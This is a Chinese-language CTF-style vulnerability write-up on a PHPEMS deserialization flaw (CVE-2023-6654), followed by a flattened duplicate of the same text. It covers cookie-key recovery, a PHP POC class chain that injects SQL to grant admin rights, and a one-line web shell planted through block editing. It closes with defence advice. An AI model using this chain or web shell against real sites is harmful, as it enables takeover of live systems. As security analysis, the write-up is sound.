西湖论剑phpems分析
字数 975 2025-08-18 17:33:42

PHPEMS反序列化漏洞导致RCE的分析与利用

漏洞概述

PHPEMS系统存在一个反序列化漏洞(CVE-2023-6654),攻击者可以通过精心构造的序列化数据实现远程代码执行(RCE)。该漏洞涉及多个关键环节,包括路由分析、密钥获取、反序列化链构造以及后台RCE利用。

路由分析

PHPEMS采用MVC架构,路由加载逻辑如下:

  1. 入口文件index.php调用ginkgo->run()

  2. run()方法根据URL参数加载对应控制器:

    public function run()
    {
        self::$app = self::$defaultApp;
        $ev = self::make('ev');
        if($ev->url(0)) {
            self::$app = $ev->url(0);
        }
        // ...加载对应控制器文件...
    }
    
  3. URL解析使用parseUrl()方法,会对参数进行urlencode处理,防止目录穿越

密钥获取

系统使用自定义加密算法处理cookie:

public function encode($info) {
    $info = serialize($info);
    $key = CS; // 加密密钥
    // 简单加密算法
    for($i = 0; $i < strlen($info); $i++) {
        $p = $i%strlen($key);
        $info[$i] = chr(ord($info[$i])+ord($key[$p]));
    }
    return urlencode($info);
}

解密方法类似,只是做减法运算。可以通过以下方式获取密钥:

  1. 获取加密后的cookie样本
  2. 已知序列化数据的固定格式部分(如a:8:{s:13:"sessionuserid";s:2:"3
  3. 通过加密算法逆向计算密钥
  4. 对不确定的字符位置进行爆破

反序列化链构造

可利用的反序列化链:

  1. PHPEMS\session类的__destruct方法
  2. 该方法会调用pdosql->makeUpdate()生成SQL语句
  3. tablepre参数可控,导致SQL注入

POC构造:

namespace PHPEMS;

class session {
    public $sessionid='1111111';
    public function __construct() {
        $this->pdosql = new pdosql;
        $this->db = new pepdo();
    }
}

class pdosql {
    private $db;
    public function __construct() {
        $this->tablepre=' x2_session set sessiongroupid=\'1\' where sessionid=\'96a0e7fc80194815f509d8ef101f2ab8\' -- ';
        $this->db = new pepdo();
    }
}

class pepdo {
    private $linkid = 0;
    private $log = 1;
    public function __construct() {
        $this->linkid=0;
    }
}

后台RCE利用

进入后台后,通过模板编辑功能实现RCE:

  1. 找到compileBlock方法,其中会调用eval
  2. 后台有modifyBlock功能可以编辑block内容
  3. 将block类型改为4(直接执行代码)
  4. 在内容中插入恶意PHP代码(注意第一行必须是命名空间)

利用步骤:

  1. 修改block类型为4
  2. 插入类似内容:
    <?php namespace PHPEMS; system($_GET['cmd']); ?>
    
  3. 访问触发block解析的页面(如注册协议页面)

完整利用流程

  1. 获取加密密钥(通过分析cookie或爆破)
  2. 构造反序列化payload修改sessiongroupid为1
  3. 使用伪造的管理员cookie登录后台
  4. 找到block编辑功能,修改类型并插入恶意代码
  5. 访问触发页面执行任意命令

防御建议

  1. 使用标准的加密算法(如AES)替代自定义加密
  2. 对反序列化操作进行严格限制,使用白名单机制
  3. 对SQL查询中的表名进行严格过滤
  4. 避免在模板编译中使用eval函数
  5. 加强后台权限验证,防止垂直越权

参考

PHPEMS反序列化漏洞导致RCE的分析与利用 漏洞概述 PHPEMS系统存在一个反序列化漏洞(CVE-2023-6654),攻击者可以通过精心构造的序列化数据实现远程代码执行(RCE)。该漏洞涉及多个关键环节,包括路由分析、密钥获取、反序列化链构造以及后台RCE利用。 路由分析 PHPEMS采用MVC架构,路由加载逻辑如下: 入口文件 index.php 调用 ginkgo->run() run() 方法根据URL参数加载对应控制器: URL解析使用 parseUrl() 方法,会对参数进行urlencode处理,防止目录穿越 密钥获取 系统使用自定义加密算法处理cookie: 解密方法类似,只是做减法运算。可以通过以下方式获取密钥: 获取加密后的cookie样本 已知序列化数据的固定格式部分(如 a:8:{s:13:"sessionuserid";s:2:"3 ) 通过加密算法逆向计算密钥 对不确定的字符位置进行爆破 反序列化链构造 可利用的反序列化链: PHPEMS\session 类的 __destruct 方法 该方法会调用 pdosql->makeUpdate() 生成SQL语句 tablepre 参数可控,导致SQL注入 POC构造: 后台RCE利用 进入后台后,通过模板编辑功能实现RCE: 找到 compileBlock 方法,其中会调用 eval 后台有 modifyBlock 功能可以编辑block内容 将block类型改为4(直接执行代码) 在内容中插入恶意PHP代码(注意第一行必须是命名空间) 利用步骤: 修改block类型为4 插入类似内容: 访问触发block解析的页面(如注册协议页面) 完整利用流程 获取加密密钥(通过分析cookie或爆破) 构造反序列化payload修改sessiongroupid为1 使用伪造的管理员cookie登录后台 找到block编辑功能,修改类型并插入恶意代码 访问触发页面执行任意命令 防御建议 使用标准的加密算法(如AES)替代自定义加密 对反序列化操作进行严格限制,使用白名单机制 对SQL查询中的表名进行严格过滤 避免在模板编译中使用eval函数 加强后台权限验证,防止垂直越权 参考 CVE-2023-6654 原始分析文章: 西湖论剑phpems分析